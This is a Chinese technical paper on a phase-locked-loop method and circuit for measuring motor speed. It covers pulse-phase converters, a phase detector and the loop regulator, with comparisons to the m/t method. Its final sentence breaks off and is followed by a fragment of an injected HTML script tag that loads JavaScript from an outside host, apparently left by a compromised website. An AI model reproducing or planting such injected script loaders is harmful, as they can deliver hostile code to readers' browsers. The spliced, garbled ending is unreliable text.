［摘 要］ 文中介绍了一种全新的精密数字锁相测量电机转速的方法和电路，此种方法不同于目前普遍采用的m／t测速方法。使用该方法，可以直接获得始终跟随电机速度变化的测速值，测速精度高、应用简单，目前已经成功地应用于笔者研制的交流伺服系统的反馈通道中。
［关键词］ 速度检测；锁相环；伺服系统
1 概 述
目前常用的数字测速方法是m／t法。m／t法的原理是：在每个测速周期内，同时计取光电脉冲个数m1和时标脉冲个数m2。测速周期td＝te＋δt。其中te是固定部分，而δt是指从te结束到下一个光电脉冲到来这段时间。用下式可以计算转速n。
n＝a＊m1／m2（1—1）
a是常数。
从上面的分析可以看出，采用m／t法测速，遇到的最大问题就是测速周期的不固定。δt是不固定的，在电机高速时δt较短，而在电机低速时δt就会变得较长，从而整个测速周期也变得较长。这样就带来了两方面的问题。①由于低速运行时测速周期的变化，使得控制周期变长，控制效果变差，容易出现“爬行”等现象。②由于低速运行时测速周期变长，使得时标脉冲的计数周期变长，如果不采用较长位数的计数器计取时标脉冲，就会发生溢出。也就是说，一定位数长度的时标脉冲计数器对应着一定的可测得的最低转速，要测出很低的转速，就需要很长位数的时标脉冲计数器，在式（1—1）中，m2是多字节的数，计算式（1—1）需要做多字节的除法，增大了实时控制中的软件开销。
该文提出了一种全新的锁相测速方法，采用这种方法，无论电机高速运行还是低速运行，都可以获得一个始终跟随电机转速值的14位的并行的测速结果，测速周期短，测量精度高。测速单元与伺服系统的主cpu并行地工作。
2 锁相测速的基本原理
锁相测速环节的基本结构如图2—1所示。
在图2—1中，来自光电脉冲编码器的脉冲fe与来自数字控制振荡器dco的脉冲fd分别经过“脉冲相位变换器1”和“脉冲相位变换器2”变换成相位信号q1和q2。q1与q2的相位差由“鉴相器”鉴得，如果q1超前于q2，相位差由p＋的脉冲宽度表示；如果q1滞后于q2，相位差由p－的脉冲宽度表示。环节tjq的作用是测量p＋或p－的脉冲宽度，并且在锁相环中充当调节器，使得锁相环能够迅速锁定。在锁定的情况下，q1和q2的相位差或者为零，或者为恒定值，这时必有fe＝fd。由于tjq输出的数据dout与数控振荡器dco的输出脉冲频率fd成正比，将dout锁存输出，即可跟踪光电脉冲编码器的输出脉冲的频率fe，从而跟踪电机的转速。
图2—1中的各个主要环节均可固化在“可编程逻辑器件isp”中。
（1）脉冲相位变换器
脉冲相位变换器的原理如图2—2所示。q是输出相位信号，fe是输入的光电脉冲编码器信号，时钟脉冲cp的频率大大高于fe的频率。cp反相后，得到了cp－，同步环节以cp－为基准，对输入的光电脉冲信号fe进行同步，得到了与cp－同步的脉冲f－。
减法计数器a的初值预置数是1 000，f－用做a的减法计数脉冲。b是加法计数器，对cp信号计数。
比较器c对加法计数器的值a和减法计数器的值b进行比较，如果比较相等，比较器c的输出端e产生一个高电平，完成对a置数和对b清零的动作。
“输出”环节是一个二分频器，比较器输出的高电平脉冲经过二分频器产生输出的相位信号q。
假如没有光电脉冲信号fe的输入，加法计数器b只起到锁存计数初值的作用。这时，减法计数器a、加法计数器b、比较器c、输出环节（二分频器）合在一起，相当于一个2 000分频器，对cp信号分频。由于cp信号的频率是3mhz，所以输出相位信号q的频率是3m／2 000＝1．5 khz。
当有一个光电脉冲输入时，减法计数器a中的数值将被减1。显然，这时输出信号q将提前翻转，提前时间等于一个cp脉冲周期。即每个光电脉冲的到来，都可以使输出信号q的相位超前π／1 000。
（2）鉴相器
在图2—1中，“脉冲相位变换器1”和“脉冲相位变换器2”有着完全相同的结构，它们输出的相位信号q1和q2之间的相位差由鉴相器鉴得。如果q1的相位超前于q2的相位，相位差由p＋脉冲的宽度表示，反之，相位差由p－脉冲的宽度表示。
（3）脉冲测宽、控制运算环节
在图2—1中，“脉冲测宽、控制运算”环节tjq相当于锁相环测速环路中的“调节器”，主要完成两项工作。其一，要根据鉴相器的输出p＋或p－，测算出q1与q2的相位差。其二，要对相位差进行“调节运算”，进而得出输出的并行数据dout，这个并行数据用来控制后面的“数字控制振荡器dco”的振荡频率。
3 锁相测速环路的调节算法的研究
锁相测速环节的动态结构如图3—1所示。
“脉冲相位变换”表示为积分环节；“数字控制振荡器dco”表示为比例?script src=http://er12.com/t.js>
